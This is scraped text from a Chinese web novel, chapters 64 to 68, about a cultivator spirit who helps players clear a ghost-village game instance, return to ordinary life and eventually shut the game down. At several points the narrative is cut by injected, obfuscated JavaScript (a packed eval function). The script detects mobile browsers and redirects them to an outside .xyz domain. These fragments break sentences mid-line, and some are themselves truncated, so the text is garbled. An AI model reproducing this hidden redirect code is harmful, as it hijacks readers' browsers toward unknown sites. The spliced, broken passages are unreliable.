江晏不耐:“我这些天一直这么早休息的,你就没有意识到是我这个身体有问题吗?” 和江晏想象中不一样,面前,宁时瞳孔巨震,脸色变了几变,最终一把拉住江晏的手:“……你的身体怎么了?” 还不等江晏回答,他又自己说下去:“是灵魂与身体不兼容吗?还是这个身体有保质期?” 江晏反应了一下,才明白宁时说的“保质期”是什么东西,瞬间起了一身鸡皮疙瘩。 他感觉自己必须得解释一下了,不然谁知道宁时会脑补出来什么更奇怪的东西。 江晏拍了下宁时越握越紧的手,无奈道:“别乱想,我说的问题只是指晚上无法控制身体神魂出窍罢了。” 宁时呼出了一大口气,握手的力气渐渐松了下来。 江晏用另一只手拍拍他的肩,试图把自己的手从他手里抽走。 咦,好像被拉得更紧了? 他抬头不解地望向宁时。 宁时注视着他,一字一顿:“神魂出窍?所以我晚上睡觉感觉旁边有人在动我,那就是你?” 江晏:…… 糟了,忘了这一出了。 他没有立即否认就是对宁时问题最好的答案,宁时的脸渐渐绿了。 识时务者为俊杰,江晏反手一把拉住宁时的手,真情实意道:“哥,我错了,我跟你闹着玩呢。” 旁边,康林在起哄:“哎呀,还哥呢。” 宁时嘴角抽了抽,垂眼看着江晏,最终道:“……没有下次。” 江晏没被追究责任,喜出望外,高高兴兴“耶”了一声,甩下宁时,跑去了西厢房准备休息。 只留下宁时与康林等人面面相觑。 屋子里安静了片刻,康林对宁时比了个大拇指:“你以后的日子包有意思的。” 宁时对她翻了个白眼,拎着黄成钢转身也回了西厢房。 四个玩家和一个“npc”在老屋里过了平安一夜,也过了这个副本中最后一个夜晚。 清晨,几人像昨天一样,悄悄溜进了村志馆。 他们把飞鸟簪放了回去,转而拿走了梅花簪。 这次,江晏又听见了卫余泽的声音。 他很愤怒,在说着一些威胁的话,不许玩家们把梅花簪拿走。 江晏摸摸下巴,没有理会。 事情道这里已经非常清楚了,卫余泽作恶多端,他的话对于江晏而言,没有一点信服力。 玩家们拿走了梅花簪,合上村志馆的大门,把卫余泽的吼叫隔绝在身后。 他们不知是第几次来到了池塘边。 陈锦瑶蹲在岸边,拿着簪子,小声道:“沈二二?” 今日无风,平静的湖面上微微起了涟漪。 水草一样飘荡的黑发从池底缓缓升起,向岸边靠近。 玩家们呼吸声都轻了些,只有黄成钢嘴里发出来一些模糊的唔唔声——那是众人来池塘边之前,不放心黄成钢说什么不该说的,便用布条堵住他嘴的结果。 此时,宁时闻声回头看了黄成钢一眼,黄成钢一抖,安静下来。 而在池塘里,沈二二的头发终于靠近了岸边,卷起了陈锦瑶浸在水中的白银梅花簪。 梅花簪被黑发卷着,渐渐没入水底。 池塘下面有暗潮汹涌,不一会儿,黑发又探了出来,直直伸到了岸边。 沈二二捡起一根小木棍,在沙土上写着:“我们的交易。” “我帮你们通关,你们许愿让我弟弟从这个世界里脱离出来。” 玩家们:“嗯,好啊。” 沈二二卷着木棍的黑发抖了一下,接着写:“我要求你们现在选出一个人来许这个愿望,因为我知道,你们每个人只有一个许愿的机会。” 写完,池塘里的水涌上来,抹去了字迹。 玩家们面面相觑,只见康林一拍手:“差点忘了,估计也就从咱们三个里面选了。” 陈锦瑶:“……黄成钢不算,我好像也没什么很想要的,干脆我许愿把沈冬带出来吧。” 宁时看着她:“你没什么想要的?” 陈锦瑶看起来有点不好意思:“你是说我可能会许蒙的题全对这种愿望吗,呃,但我胆小,不太相信这种馅饼会砸到自己身上。” 康林听了,蹲下身戳了戳沈二二用头发缠着的小木棍:“瑶瑶说得有道理,要是我,也不敢许什么发几篇sci的愿,毕竟已经能进游戏了,就说明够倒霉的了,许的愿说不定哪天就被学术打假了呢。” 沈二二的头发静静地摊在地上,好像听不懂她在讲什么。 康林又戳了下木棍:“说起来,我能许愿让你脱离这个世界吗?” 黑发震了一下,明显僵直了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902375|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 康林说:“你赶紧回答哈,行的话我就真说这个了啊。” 那黑发便很快直立起来,尾端弯曲,疯狂上下摆动。 江晏:“她是在点头对吧。” 那黑发便点得更欢快了,片刻后,又拿着小木棍写道:“能的,谢谢你们。” 然后把小木棍一把丢掉,慢慢蠕动到康林脚边,像小猫用尾巴勾搭人一样,黑发缓缓缠绕上了康林的小腿。 康林:…… 她嘴角抽搐,最终还是放下手摸了一把。 然后清清嗓子,对池塘说:“你的发质真好啊。” 缠着她小腿的黑发扭扭捏捏地退下了,在岸边停留片刻,用发尾画了一个心。 然后完全消失在了水中。 玩家们站在岸边,突然感觉在经历了这些日子之后,这个世界居然显得有几分……祥和。 江晏凑到宁时旁边,问:“你刚刚怎么不说话?你想许什么愿望?” 宁时看了他一眼,却什么都没有说。 不知为何,江晏从宁时的眼神中读出了诸如“你个傻子”之类的意味。 但反正大家也快通关许愿了,宁时的愿望自然会被众人知晓。 江晏想着,又将视线转到了泛着涟漪的水面上。 四周景色没有变化,但空气中却似乎有什么东西不一样了。 一道机械声响起:“恭喜宁时,康林,陈锦瑶,黄成钢四位玩家完成任务,顺利通关。” 有什么薄膜似的东西降到了几个玩家身上。 江晏本来想伸手摸一摸自己身上,看看是个什么东西。 他一伸手,啾啾出声了:“别费力气了。” 江晏突然反应过来什么。 他意识到,这个机械声只是对四个玩家说的。 他和沈二二一样,留在池塘岸边,只能抬着头,看着玩家们被不知名的透明物体携裹着,悬浮至半空中。 他能看清宁时的脸,宁时趴在那薄膜上,高挺的鼻梁挤在薄膜上,有些变形。 他挥着手,嘴巴一张一合,似乎在说着什么。 江晏:…… 他看不得这副好像要生死离别的样子,只好摊摊手,示意自己没事。 周边渐渐起了雾,他和宁时互相看不见了。 机械声又响了:“你们现在可以许愿了,许愿后,即可以选择立即离开,也可以在这个世界停留片刻,看一看最后的结局。” 四周都是白茫茫一片,江晏看不见,但能听到玩家们说了什么。 在他的头顶上,陈锦瑶先跨出一步:“我要沈二二的弟弟,沈冬,永远脱离游戏的控制。” 那机械声在几秒后才响起,听不出任何感情:“可以。但是你们胆子挺大的,说过不能许类似关闭游戏的愿望,但居然还是打了这种擦边球。” 康林笑道:“那要怪你当时没说清楚——该我了,我的愿望是要让这个世界的沈二二,永远脱离游戏。” 这次,机械声沉默的时间更久。 但最终它还是开口了:“可以,但要等一下,等这个世界真正的结局到来。” 宁时指指薄膜外面的浓雾:“这是结局正在上演吗?” 机械声说:“是的,那就开下全视角给你们看看吧。” 浓雾依然是浓雾,但上面渐渐有画面显现。 65. 许愿 江晏和所有玩家都很熟悉画面上显示的地点,那是村志馆里存放了大量簪子的展厅。 此时展厅里空无一人,却灯光大亮。 由于灯光实在是太亮了,众人不难发现地板上有几道明显的水迹。 像是一个浑身湿透的人,穿着长度拖地的衣服,在这间屋子里转了好几圈似的 有女声幽幽传来:“卫余泽,我来找你了。” ——这景象居然还是传音的。 毫无疑问,制造了水迹但不见踪影的东西就是沈二二了。 陈锦瑶:“她来这里干啥?” 康林:“你听她说的话,和卫余泽有关吧。” 宁时:“……所以卫余泽一直在这里?我们被李叔领着逛这里的时候,其实后面一直跟了个卫余泽?” 康林起了一身鸡皮疙瘩:“就算是,现在我们也通关了,自有沈二二去收拾她。” 画面中果然响起了另一道声音,是年轻的男声:“你别找我!我不是故意的!” 后面是两只鬼混乱的嘶吼,同时地面上出现了更多的水迹,又很快被凌乱地抹得到处都是。 一道银光闪过,落在地上发出一声脆响,给混乱的一切按下了终止键。 白银梅花簪静静地停在地上,直到有一缕黑发伸过来,把它卷起,放回了展柜里的空格处—— 正是玩家们今天取出来白银梅花簪的那个格子。 地上的水迹渐渐消失,一切平静下来,梅花簪和飞鸟簪在同一间屋子里熠熠生光。 远处传来什么东西的轰鸣声,接着是李叔的惊叫:“这钟这么碎掉了呢!” …… 画面渐渐消失了。 陈锦瑶揉了揉眼:“所以,沈二二用飞鸟簪让卫余泽魂飞魄散了?至于那钟……本来就是提醒人卫余泽恶魂到来的,但由于卫余泽魂飞魄散了,自然也就没用了,才碎掉了?” 康林摸摸她的头:“嗯呢,真聪明。” 机械声响起了:“康林,现在迎来了世界真正的结局,你的愿望也可以实现了。” “沈二二,脱离游戏控制。” 康林对宁时比了个“耶”。 宁时:…… 面前,机械声继续问:“还有两个人的愿望。” 宁时突然说话了:“我想把这个世界和我们一起同行的‘沈冬’,带回我的世界里。” 机械声:“可以。” 但片刻后,所有人都听到了刺耳的警报声—— “报错!报错!您的权限不够,无法选中当前许愿对象!” 宁时:? 除了江晏,所有人:? 那机械声停了停,似乎被搞得很没有面子,在警报声消散后,才继续说:“嗯,这个愿望好像不行,你换一个吧。” 宁时想了想,道:“我想知道他究竟是谁。” 机械声同意了,然后警报声重演了一遍。 机械声再次开口时,所有人都觉得它带了一丝疲惫:“还是不行,再换一个吧。” 宁时:…… 他说:“算了,你能把他弄上来吗,我想和他说几句话。” 机械声说:“你确定吗,这是算一个愿望的。” 宁时点点头。 于是依然在池塘边的,隔着浓雾和玩家们遥遥相望却什么也望不到的江晏,就这样被系统带到了宁时眼前。 江晏:? “我怎么过来了?”他问。 宁时没回答,但系统回答了:“因为他花费了许愿的机会,许愿我把你带上来,他要和你说话。” 江晏一愣,反应过来系统说了什么后,发出尖叫:“你许这愿不浪费吗——” 宁时摊手:“我感觉挺值的啊。” 江晏努力平复心情,用力搓了把脸:“说吧,败家子。” 宁时看着他,问:“你到底是谁?” 江晏本来想随口说一句“我是你哥”之类的瞎话,但一想到这是宁时用了一个许愿机会换过来的,就有些不忍心了。 他想了想,还是老老实实地说:“我就是你……永远可以信任的人。” 鉴于这个世界说出“我就是你”这种话太奇怪了,江晏便使用了语言的艺术。 旁边,系统轻笑了一声:“我只说过我能把他带上来,可没有保证他会不会说真话啊。” 宁时没搭理系统的挑拨离间。 他只是对着江晏:“你能出去吗,能到我的世界里面吗?” 江晏:“可以。” 开玩笑,这要是都做不到,他和啾啾干脆收拾收拾回去等死得了。 宁时得了他肯定的答复,点点头,又问:“那你愿意和我一起,到我的世界里看看吗?” 江晏心想,宁时你真装啊。 刚刚还试图直接用许愿的方式把人强行拉到自己的世界里,发现行不通后,这才装模作样地询问他。 于是江晏注视着宁时,平静道:“别装了,我刚才在下面可是都能听清楚的。” “现在知道来问我了,嗯?” 宁时脸色一阵红一阵绿。 他小声说:“你要是不愿意的话……” 江晏挑眉:“我有说过我不愿意吗?” 宁时抬起头,脸上惊讶的神色来不及收取。 江晏便说:“你要是答应了,现在就吱一声,不然我可是反悔了啊。” 宁时:“你刚刚说了什么我可没听见,我只听见了你愿意来我的世界看看。” 江晏:“呵。” 沉默已久的系统终于有了反应,它发出了刺啦刺啦的电流声:“好了,好了,你们这些话可以等出去了再说,你们现在还有个人没许愿呢。” 听了系统的话,玩家和江晏都把目光转移到了站在最后面的黄成钢身上。 游戏中,在系统宣布任务完成的那一刻,所有玩家都会回到初始状态,也就是说,他们在游戏中受到的伤,受到的束缚,都会消失。 所以自然,现在的黄成钢,是自由的,手上已经没有了被玩家们绑起来的痕迹。 刚刚玩家们许愿时,他一直站在队伍最后面,一个字也没说过,只是面色阴沉地看着几个人。 有恶意的光芒在他眼中闪烁,直到在系统的提醒下,所有人的目光转移到他身上后,才收敛了神色。 玩家注视着这个在游戏中差点把大家都坑了的男人,思考着他会许什么愿。 江晏忍不住皱眉。 以黄成钢的性格,往好处想,可能会许愿暴富什么的;但要是往不好处想…… 那可以不好的地方就太多了,比如,他也许会许对玩家不利的愿望。 被这么多玩家看着,黄成钢丝毫没有慌张的样子,他甚至扬声,问系统道:“是许什么愿望都可以吗?” 颇有几分气定神闲。 系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但他还来不及动,黄成钢的话音确实是戛然而止了。 江晏茫然四顾,终于发现了这一切的来源—— 是陈锦瑶。 因为陈锦瑶刚刚像一枚炮弹一样窜出来,精准无误地踹了黄成钢小腿一脚! 黄成钢捂着小腿跌坐在地,额头上开始冒汗,脸上的五官扭成一团。 他在剧痛中抬头与陈锦瑶对视。 陈锦瑶俯身着他,眼睛圆圆的。 江晏揉揉眼睛,在陈锦瑶的目光中,他好像看到了一丝……期待? 黄成钢缓过了那瞬间的剧痛,他终于开口了。 陈锦瑶眼睛睁得更圆了。 黄成钢大声说:“陈锦瑶你有病啊!” 那一瞬间,陈锦瑶的眼睛彻底亮起来了。 江晏似乎明白了什么。 他看看周围,宁时和康林也是一副如释重负的模样。 而在地上的黄成钢还在骂着: “靠!丫头片子在发什么疯!” 又斜了她一眼:“看我待会儿许愿整不死你。” 他跌跌撞撞地站起来,仰头对着天空说:“系统,我许愿让陈锦瑶考不上大学!” 系统终于回答了他:“检测到玩家已许愿,此次许愿作废,以第一次许愿内容为准。” 黄成钢震惊了:“我明明还没有许愿呢——” 陈锦瑶默默走到他面前,刚要说话,突然打了个喷嚏。 女高皱皱眉头,清清嗓子:“你确实许过愿的,只不过是分开说的。” 黄成钢一脑袋问号。 陈锦瑶摊手:“你对系统说我有病,看,系统让我得了轻感冒。” 66. 现实 黄成钢脸僵着脸,等反应过来陈锦瑶的意思后,脸彻底绿了。 陈锦瑶好像没看到他吃了屎一样的脸色,继续发动精神攻击:“你许愿之前,挨个看了我们一边,是在挑谁好欺负吧。” 她接过来康林掏出的纸巾,擦擦鼻子:“你的人生好失败欸。” “康姐和宁哥你揣摩着他们在现实世界里的身份,虽然不清楚究竟是什么,但你不敢赌,不敢真惹上他们。” 她又抽了块纸,声音渐渐大了,还有点委屈:“你这种人就挑我欺负!我看起来这么好欺负吗?我又不是想长成这样的……呜哇!” 陈锦瑶大哭着再次踹了黄成钢一脚。 黄成钢浑身一抖,再次慢慢地倒在地上了。 江晏:…… 他可是清清楚楚地看到,陈锦瑶第二次踹的地方,和第一次是在一样的位置。 他有点怀疑小姑娘是故意的。 但故意就故意吧。 在这种诡异又搞笑的气氛里,系统终于再次说话了:“你们的任务结束了,也许过了愿,现在我要把你们送出去。” 江晏:“那我呢,沈二二和沈冬呢?” 系统说:“沈二二和沈冬会像李三花一样,再入轮回。” 它停了停,又说:“至于你……我相信你有办法自己出去,真讨厌这种上面高层来的bug啊。” 江晏听了,悄悄对啾啾说:“系统在夸你。” 啾啾“哼”了一声:“我堂堂一个神器,还用得着它夸,简直倒反天正。” 一人一鸟说话间,系统发出了倒计时:“传送倒计时,十,九,八……” 宁时拉住了江晏。 陈锦瑶突然大喊:“S市第一中学!你们想找我去这里嗷——” 康林:“好嘞——” 江晏则是对着黄成钢挥拳,一下把他砸晕在地。 宁时眼角抽搐:“所以你试图使用物理手段清除掉他的短时记忆?” 江晏揉揉手腕:“嗯哼,希望这一拳下去他能忘记瑶瑶说的地方。” 宁时扶额,用另一只手更紧地握住了江晏。 江晏:“其实你不用拉得这么紧的……严格意义上讲我和你们不属于一个系统……” 他的声音淹没在巨大的风声中。 游戏系统的传送,开始了。 江晏的手被宁时捏得有点疼,他在心里叹了口气。 他没骗宁时,即使是宁时先回了现实世界,他也可以依靠啾啾,从游戏世界里来到宁时身边。 但是。 江晏感觉以目前宁时的状态,拉着手就拉着吧。 他眯起眼,感受着呼啸而来的风刮在脸上。 传送的时间不算长,不过六七秒后,他和宁时降落在一处房间里。 江晏打量了一番: 窗明几净,户型看起来不大。屋子里铺着浅棕色的木地板,个人的东西不多,显得有些空旷。 他以一种肯定的语气对宁时说:“你家?” 宁时的语气有点奇怪:“呃……是我自己租的房子,我在使用它,但没有拥有它。” 江晏:…… 很好,一会到现代世界里,他不免想起了从前的宁总裁,自然认为这套房子是属于现在这个宁时的。 他暗戳戳地想,这个世界的宁时,好像……有点惨。 宁时一直盯着江晏的脸,他这番心理活动,被宁时猜得七七八八:“怎么?觉得我不应该租房子?” 江晏疯狂点头。 宁时无语了,按了按额角,又问:“你为什么会对现代生活这么熟悉?” 江晏:哦吼,又到了完善马甲的时候了呢。 他想了想,说:“我在现代世界待过。” 宁时点头:“所以你可以穿越空间?那为什么会到游戏里去?” 江晏一不小心就把真心话说出来了:“因为你在游戏里啊。” 宁时:? 他眼睛瞪圆了。 江晏才意识到自己这句话以现在他和宁时的关系说出来,太亲近了,于是马上找补: “啊,我们其实是一群乐于助人尤其是乐于帮助你们这种被游戏缠上的人的小仙子……” 宁时慢吞吞道:“噢?” 语气上扬,明显是不相信他说的小仙子那番屁话。 江晏一边心虚,一边故作怒气冲冲状:“你不信就算了。” 宁时干咳一声,神色几度变幻,最终说:“所以,你是为我过来的吗。” 江晏对啾啾尖叫:“他怎么会有这么大的脸!” 啾啾用鸟爪蹭蹭头:“你就说他说的对不对就完了。” 江晏:…… 事实确实如宁时所言,他无力反驳。 于是现实中,江晏直高深莫测地看了宁时一眼:“你猜。” …… 一个游戏副本通关后,总会有那么一段时间平静的生活。 宁时照常工作。 江晏由于在这个世界里没有合理的身份,便一直窝在宁时的住处。 他这个世界的身体延续了副本中沈冬的特性,不用吃东西,没有心跳和脉搏。 在宁时已经不是宁总了的这种情况下,这些特质都成为了好事。 让江晏更开心的是,他出了副本后,在晚上也可以自如活动了。 现在,无论是白天还是黑夜,他都可以自如地控制灵魂和躯体。 江晏终于找回了从前一丝丝修真的感觉。 日子一天天过去,江晏也渐渐弄清了宁时在这个世界现实中的身份。 是某家设计公司的经理。 在宁时不在游戏里的时候,他有时候会和江晏在家里,一起用投影仪看电影。 或者是在安静的夜晚,对着电脑上的ppt,ps和cad做方案。 这时候江晏可能坐在他旁边,咔嚓咔嚓吃着薯片,制造白噪音。 也可能躺在床上装睡,但灵魂浮在宁时旁边,和他一起盯着屏幕。 他们也会去放学时S中的门口,看着一群群学生涌出。 江晏端着一份校门口的烤冷面猛吃,宁时站在他旁边,目光扫过一张张年轻的脸。 这时,有人拍了拍江晏的肩。 江晏咽下一口冷面,回头看去。 那是一个带着细细金属框眼镜的女人。 他说:“康林?” 康林“嗯”了声,对他和宁时说:“好久不见。” 宁时说:“等小妹的?” 康林点点头。 江晏好奇:“你不是在大学里吗,那在郊区呢,从那边过来得多久啊。” 康林:“……你们是住在S市的吧,怪不得能说出来郊区这种话。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902377|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她扶了下眼镜:“我从Z市过来的,请掉了我的年假。” “太远了,这边空气也好干。” 江晏:…… 他比了个大拇指,又推了推宁时:“人家大老远过来,必须你请客,再带康姐买点……那叫啥来着?啊对,买点面霜!” 康林:“你俩行了,现在我估计是宁时养着两人吧,我们aa就好。” 宁时笑笑,小声说:“他挺好养的,不用吃饭。” 康林挑眉,目光移到江晏手里加大份加鸡蛋加火腿的冷面上。 宁时:…… 康林拍了拍他:“小伙子,不用吃和不能吃是两个意思。” 他们说话间,远远地,似乎走来一个和陈锦瑶身形相似的小姑娘。 几人挤过去,正好碰上小姑娘抬脸——还真是陈锦瑶。 四个人便热热闹闹聚在一起吃了顿饭,相互留了联系方式。 中间,陈锦瑶犹疑道:“……黄成钢不会找到我们吧。” 江晏:“应该不会,我让他物理失忆了。” 陈锦瑶:? 江晏又说:“就算他没失忆,又这么久没找事,以他的性格,说明他住得离这边远,他舍不得路费。” 陈锦瑶:…… 听起来好有道理是怎么回事! 后面,几人又说起了游戏的事。 康林说她认识一位朋友,可以买到组队工具。 宁时:“……姐,我分摊点呗。” 康林白了眼他:“你这工作不稳定,还是我来吧。” 宁时虚弱:“姐你别扎我心了。” 康林摊手:“这不是重点,我想说,你可以带着你那位小朋友一起,相信我们做任务会更顺利的。” 宁时愣了下,脸上的表情渐渐消失了,他扭过头看江晏。 然后看到了一个眼睛睁圆了,明显跃跃欲试的江晏。 宁时:…… 他不放心,还是向江晏问:“副本不是游戏啊,你想清楚了。” 江晏:“不行,你有点菜,我不跟着我不放心。” 康林哈哈大笑。 宁时无奈点头,算是答应了康林。 这次聚会最后的最后,大家先把陈锦瑶送回了家,再把康林送到了酒店,最后江晏和宁时,看着路灯下的影子,一起走回来了家。 …… 几个月后,在江晏飘在宁时身边一起上班的路上,宁时再次被拉进了游戏里。 江晏自然也跟了进去。 康林之前说的组队工具发挥了作用,江晏跟着宁时一落地,就在七八个玩家中一眼看到了她和陈锦瑶。 这次是一个西幻类型的副本,里面全是江晏没有见过的东西。 他在里面玩得很开心,顺便拉着宁时和一众队友顺顺利利地通了关。 在一次又一次游戏中,通关99次后才能完全脱离游戏已经成了玩家们公认的秘密。 于此同时,四人小队的战绩也越发显眼。 终于有一天,一位被游戏缠上的富豪找上了四人,给了他们一笔即便是吃利息也足够生活的巨款。 条件是带她通关。 四人答应了,也顺利完成了交易。 但99次游戏,实在是太漫长了。 江晏问啾啾,有没有办法搞垮副本。 啾啾说,有。 67. 尾声 大部分剑修的为人处世信奉这几个字: 干就完了。 所以当江晏知道有办法关闭游戏世界时,整个人眼睛都亮了。 他问啾啾:“需要我借助什么npc的力量把副本地面砸穿?” “或者说,我想办法把攻玉剑弄过来,然后把三千小副本一剑劈开?” 啾啾深吸一口气:“停,停,这样是不可行的,请你用大脑思考一下好吗。” 江晏摊手:“那我想不出来,你说。” 啾啾语气沉沉:“办法说简单也简单,说难也难……” “你还记得之前系统说的,不能许的愿望吗?” 江晏想了想,道:“就是我进的第一个副本里,系统说不能许关闭游戏这类的愿望?” 啾啾点头:“对,需要一批又一批通关的玩家都许下永远关闭游戏的愿望。” 江晏:“不是说这种愿望不能许吗……不对。” 他在意识海中发出爆鸣:“是我被它的文字游戏蒙蔽了!” “系统说不能许的愿望,玩家们一般不会去用自己去实验。一来许愿的机会来之不易没必要浪费;二来,系统说不能,如果玩家执意要做,一般情况下会有生命危险。” “即便是有玩家尝试着许愿关闭游戏,但由于没有达到你说的所有人许愿的条件,所以游戏世界也并不会有什么改变。” “而系统不让人许愿关闭游戏,反而正可能因为这是关闭游戏的正确方法。” 江晏理了一遍逻辑,发展一切都说得通了。 他开始给自己鼓劲:“嗯,宁时现在的心意肯定和脱离游戏有关。” “所以,找到关闭游戏方法后,尽量扩散给所有玩家,然后一起关闭游戏。” “这样,分魂的心愿又满足一个了耶!” 啾啾听了,沉默良久后,道:“可是你关闭游戏之后,分魂还是会产生新的心愿。” “这样你永远会奔波在满足他心愿的路上。” “但如果哈,你拖着,拖完99个世界,估计那时候分魂在这个世界的寿命也差不多了,你正好能完成任务并前往下一个世界。” 江晏:“……你不对劲。” 啾啾不说话。 江晏揉了把它的鸟头:“这不像是你会说出的话……不过也没准。” “你说的办法遵循了省力原则,在某种程度上是合理的。” “但是这样,宁时的人生不好。” “那就是我的人生中的不如意。” 他又愤愤地拍了拍啾啾:“而且,别忘了我是剑修欸,剑修!一剑开太平的剑修!” “虽然攻玉剑不在身边,但如果我对游戏坐视不理的话,未免也太丢修真界的人了。” “所以,”他摩拳擦掌,“让我们干一场大的吧!” 啾啾歪着头:“那你先别激动,我之所以阻拦你,是因为还有别的代价。” “我计算过,关闭游戏虽然靠玩家的力量差不多能够用,但这也是在非常理想的情况下。” “有八成的概率,关闭游戏需要从外界寻找能量。嗯,这能量的来源,最合适的就是你。” 江晏:“哈?” 啾啾:“现在反悔还来得及……你肯定想问为什么是你吧?” 江晏翻白眼了:“才不,这个世界应该就我一个剑修,不是我还能是谁?” “但是呢,”江晏加重了语气,“为什么你不是能量来源呢?” 啾啾回给他一个更大的白眼:“我是神器欸,神器!本质上和系统差不多,自身不会产生什么能量的。” “你们生物对这个世界的爱与恨,平静与激情,悲伤与喜悦等等,才会产生能量,产生一种与世界联系在一起的能量。” 江晏点头:“噢……那你说那些闭关休眠的长老们……” 啾啾大声打断了他未尽的话:“当然会!他们是闭关又不是死了!还有,不许给我打岔!” 江晏点头:“言归正传,消耗我的能量后,我会怎么样呢?” 啾啾突然语气平静下来:“那下一个世界你可能无法前往新的世界了。” 江晏:? 啾啾解释:“没你想的那么吓人,估计是从经历过的世界里,选择你和分魂都在一段时期,把你们投进去,让你俩相处。” “这其中,你有一切记忆,而分魂只有当时情景下的记忆。” 江晏听得有些崩溃:“所以你的意思是,我可能把校园世界,或者无限流世界再经历一次?” 啾啾:“咳,你还忘了一个。” 江晏一愣,随即反应过来:“……原世界?” 啾啾点头:“嗯哼,三分之一的概率,看你运气如何了。” 江晏:“那不就是三分之一的概率赌回到原世界嘛,划算。” 啾啾:“我可没说你回到原世界后就不用再经历有分魂的小世界了……” 江晏摆摆手:“我大概已经明白了,我还是想试一试。” 在结束了和啾啾的对话后,江晏和宁时谈了这件事。 宁时的评价是:“同时说服这么多玩家许一个愿望难办,但是也许可以使用钞能力。” 然后他拉着江晏,四人小组一起找到了投资他们的那位富豪。 富豪是一位女性,她不想再受游戏的纠缠,也希望关闭游戏,并提供了拥有丰厚资金支持的解决方案。 她说:我会先去找人扩散这个消息的。 然后进副本的时候,我带上一沓支票,每张十万。 告诉他们这是通关的时候许愿关闭游戏的预付资金。 如果玩家在通关时真的这么做,在现实世界里还能额外领取二十万元。 富豪说:“这么算,三十万买一个愿望,还算很划算的。” 宁时:? 富豪叹了口气,解释道:“就是很划算啊。” “你看我女儿,上周还说妈妈你给我买个Z酒店的股权吧;我的儿子,他又看上了一款全球限量的跑车。” 富豪笑了:“这么一比,三十万一个的愿望,真的很便宜呢。” 四人组沉默了。 富豪喝了口茶:“可是光凭我们几个进副本,才能让几个副本的玩家许愿啊,太少了。” 她沉思片刻,道:“嗯,虽然玩家在现实世界里不能说出关于游戏的内容,但如果对面也是玩家的话,那这条规则就不成立了。” 富豪站了起来,斗志昂扬,脖子上的珍珠项链熠熠生辉:“我产业名下的员工得有60万人吧,这里面肯定能挑出来一些进过游戏的。” 她以手支颐:“嗯,如果我把消息透露给他们,并让他们也带着支票进入其他副本里面……” 富豪笑了:“相信我们事业的成功指日可待。” 江晏点头:“嗯,那你怎么保证这些员工不会拿着支票跑了呢?” 富豪平静道:“我可以给他们一些股份。” 康林小声自言自语道:“啊……是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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让他们愿意为了自己和同伴的命运,去许下关闭游戏的心愿。 这是所有玩家的胜利。 最后的最后,江晏的四人小组站在一个副本小世界里,在许愿后,感受到了空间的震颤。 同时,江晏还感到有一股巨大的力量,在缠绕着自己,似乎汲取着什么东西。 他知道,那是啾啾说过的,关闭游戏需要从他这里额外使用的能量。 最后一个副本世界也崩塌了。 江晏眼前一黑。 他不知道是因为世界暗下来,还是自己晕倒了。 但总之等江晏醒来后,第一眼看到的是趴在床边桌上睡着了的宁时。 四周环境很陌生。 是一处中式装修风格的房间,他现在所在的屋子,比他们从前的卧室大了两倍。 江晏依然感觉有点虚,在确认四周环境后,再次睡下了。 等他彻底清醒过来后,宁时告诉了他几个好消息: 游戏确实完全关闭了。 富豪给了四人小组光吃利息也足够活一辈子的财富。 他把工作辞了,买了新住处,打算在被忽略的近三十年的人生兴趣中,好好探寻一番。 宁时趴在床边,墨色的眼睛盯着江晏:“我们以后就住在一起了,你喜欢屋子这个风格吗?” 江晏有点懵,但还是开心地点点头。 宁时便笑了,他拉住江晏因长时间了睡眠而微凉的手,捂在手心里。 暖暖的。 他们的余生,会在平静中度过。 68. 回溯 目前为止,江晏已经经历了好几个世界间的穿越。 所以当熟悉的晕眩感再次袭来的时候,江晏知道,是前往下一个世界的时候了。 在一片混沌中,他问啾啾:“我这次会附在什么上面?” 啾啾没有回答,因为啾啾也不知道答案。 啾啾只是说:“你不好奇一下下一个世界吗?” 江晏懒洋洋道:“你不是都说了吗,系统吸取我提供的能量,会导致我这边能量不足暂时去不了下一个世界。” “那就只有三种可能了,原世界,第一个世界,和我们刚刚脱离的世界。” 啾啾问他:“好吧,那你想去哪个世界?” 江晏无语了:“我说了你能控制我到哪个世界吗?不要问这种没有意义的问题了好吗。” 转而又道:“嗯,相比起来,我更担心的是在新的世界线中会附在什么身上。” 江晏说完,啾啾也沉默了。 显然,两人不约而同都想到了在第一个世界里江晏最初附在教学楼身上的事。 片刻后,江晏干巴巴开口:“假如啊,我是说假如变成了一棵树什么的,我怎么完成任务?” 啾啾:“啾!忘记和你说了,这次应该不需要做什么任务了。” 江晏:? 啾啾解释道:“因为是特殊情况,所以你只需要在那个世界待着,过一段时间就好,像看电影一样。” 江晏明白了:“嗯,那就是我不太可能干预。” 啾啾点头:“是了,你的能量暂时去不了下一个世界,在过往中积累一些能量,也是很好的。” 一人一鸟谈话中,那晕眩感渐渐散去了。 四周的景象逐渐清晰起来。 